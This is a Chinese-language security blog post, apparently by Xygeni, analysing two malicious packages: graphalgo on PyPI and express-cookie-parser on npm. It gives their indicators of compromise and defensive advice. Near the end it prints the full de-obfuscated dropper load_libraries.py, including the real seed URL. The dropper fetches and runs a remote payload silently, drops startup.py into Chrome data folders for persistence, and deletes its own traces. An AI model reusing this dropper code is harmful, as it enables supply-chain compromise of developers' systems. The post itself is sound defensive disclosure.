Xygeni 最近观察到 2025 年软件供应链攻击形势中令人担忧的模式,出现在两个流行的包管理器中: 的PyPI 以及 NPM。作为我们正在进行的威胁情报工作的一部分,Xygeni 的恶意软件预警 (MEW) 该工具识别出一个之前上传到另一个注册表的恶意包实例,该实例虽然独特,但方法类似。此案例凸显了威胁行为者如何在生态系统中不断演变和重复使用攻击技术,尤其是通过 恶意Python包 以及 恶意 npm 包,这增加了恶意软件包渗透开源供应链的风险。
Xygeni 的 MEW:发现相似之处
Xygeni 的 MEW 工具旨在检测并标记恶意软件包,尤其是那些与 2025 年软件供应链攻击相关的软件包,这些软件包一旦发布到开源注册表即可被检测到。它的工作原理是分析新软件包中的可疑行为。
在这个例子中,它确定了两个 恶意Python包 (graphalgo 在 PyPI 上)和 恶意 npm 包 (express-cookie-parser 在 npm 上)。
软件供应链攻击中的恶意 Python 和 npm 包(2025 年)
让我们探索一下触发警报的共同特征:
注册近似域名
他们都试图模仿现有的流行软件包。
- graphalgo(PyPI)“用于创建和操作图形和网络的 Python 包。”由名为 “larrytech” 13 年 2025 月 XNUMX 日,该软件包作为原始非恶意 graphalgo 项目的 PyPi 替代品出现,后者后来更名为 graphdict。
- express-cookie-解析器 (npm):这个包模仿了著名的 cookie-parser 包,甚至镜像了它的 自述文件.md。 这种冒充是利用现有信任的典型策略。
混淆作为第一道防线
这两个软件包都对原始文件中的恶意代码进行了混淆。 图形语言,混淆的代码被发现在 /utils/load_libraries.py. 在案件 express-cookie-解析器, cookie-loader.min.js 包含混淆的有效载荷。
这层混淆通常用于阻碍常规检查和静态分析。混淆过程相当简单:重复的 ZLib 压缩和 Base64 编码。这种混淆清楚地表明该软件正在试图隐藏其行为。结合其他证据,Xygeni MEW 得以将这些软件包归类为潜在恶意软件。在确认阶段,我们的审核人员迅速编写了一个反混淆脚本,揭示了明显恶意的植入程序阶段。
多阶段有效载荷交付和共享原点
这两个方案都起到了初始“滴管”,为真正的有效载荷奠定了基础。它们共享一个共同的外部“种子”文件网址:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
这个相同的外部种子文件强烈表明存在共同的威胁行为者。有趣的是,该种子文件的内容似乎是简单的环境变量(例如 JWT_SECRET、PORT),这可能会误导人们对其实际功能的检查。
使用 DGA 进行动态 C2 解析
在这些恶意软件中观察到的一种复杂策略是使用域名生成算法 (DGA) 来动态解析命令和控制 (C2) 服务器。这种技术在 2025 年的高级软件供应链攻击中很常见,它依赖于从种子文件内容派生出的 SHA256 哈希值,并结合其他硬编码值。这样一来,C2 基础设施就会频繁变化,从而大大削弱传统的黑名单机制。在本例中,npm 变体使用了固定值 496AAC7E 作为其 DGA 逻辑的一部分。
建立持久性
两名攻击者都试图在受影响的系统上建立持久存在。他们的策略包括投放文件, startup.py (适用于 PyPi)或 startup.js (适用于 npm),进入各种操作系统(Windows、Linux、macOS)的常见 Google Chrome 用户数据目录。
执行后清理
为了尽量减少痕迹,两个恶意脚本都执行了清理操作。这包括删除其初始的dropper文件(load_libraries.py, cookie-loader.min.js) 并修改合法的软件包文件 (__init__.py, index.js) 以删除对现已删除的组件的引用。
恶意 Python 和 npm 包中的感染指标
- PyPI 包:graphalgo(由 larrytech 于 13 年 2025 月 XNUMX 日发布)
- npm 包:express-cookie-parser(具体版本 1.4.12)
- 访问共享种子 URL:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- 持久文件名:
startup.py(Python)startup.js(JavaScript) - 通用持久路径(取决于操作系统):在 Google Chrome 用户数据目录中(例如,
AppData\Local\Google\Chrome\UserData\Scripts\在Windows上,~/.config/google-chrome/Scripts/在 Linux 等上)。
如何防御 2025 年软件供应链攻击中的恶意软件
给开发人员的推荐方法
此次事件是2025年软件供应链攻击威胁格局演变的宝贵案例研究。它凸显了恶意Python包和恶意npm包如何潜入受信任的生态系统,并经常逃避检测,直到为时已晚。正因如此,早期检测、智能工具和主动系统安全防护如今已成为任何安全DevOps工作流程的重要组成部分。我们鼓励开发者考虑以下几点:
依赖关系审查
如果您的项目包括 图形语言 or express-cookie-解析器,明智的做法是继续将其移除。
- 对于 PyPI:
pip uninstall graphalgo - 对于 npm:
npm uninstall express-cookie-parser
系统卫生
考虑进行全面的系统扫描。此外,建议手动检查常用的 Chrome 用户数据目录路径,以防出现任何意外情况 startup.py or startup.js 文件。
主动安全措施
- 评估新的依赖关系:建立例行程序,在集成之前彻底评估新软件包,重点关注来自不熟悉的发布者的软件包。
- 集成安全工具:Xygeni 的 MEW 等工具以及其他软件组成分析(SCA) 解决方案,可以通过识别可疑行为和漏洞来提供关键的防御层。
- 最小特权:以最小特权原则操作开发环境有助于限制妥协的潜在影响。
- 网络意识:监控出站网络流量中的异常连接有时可以揭示 DGA 生成的 C2 通信。
的关键组成部分 load_libraries.py (摘自 graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): 处理从指定 URL 获取的文件。run_process():以分离的方式执行外部 Python 脚本,抑制输出以保持谨慎。get_output_file_path():确定持久 startup.py 文件的理想系统位置。remove_self():协调初始恶意文件和包修改的执行后清理。simple_shift_encrypt()/simple_shift_decrypt():用于模糊通信渠道的自定义加密函数,对于 DGA 实现至关重要。load_libraries():协调整个多阶段过程的中央功能,从初始下载到最终有效载荷的执行和清理。
后果
与 MEW 发现的其他潜在恶意软件一样,依赖项防火墙会立即保护那些将这些恶意软件包添加到依赖项中的用户。确认后,我们遵循了两个注册中心的通知程序,并在审核后删除了这两个软件包。





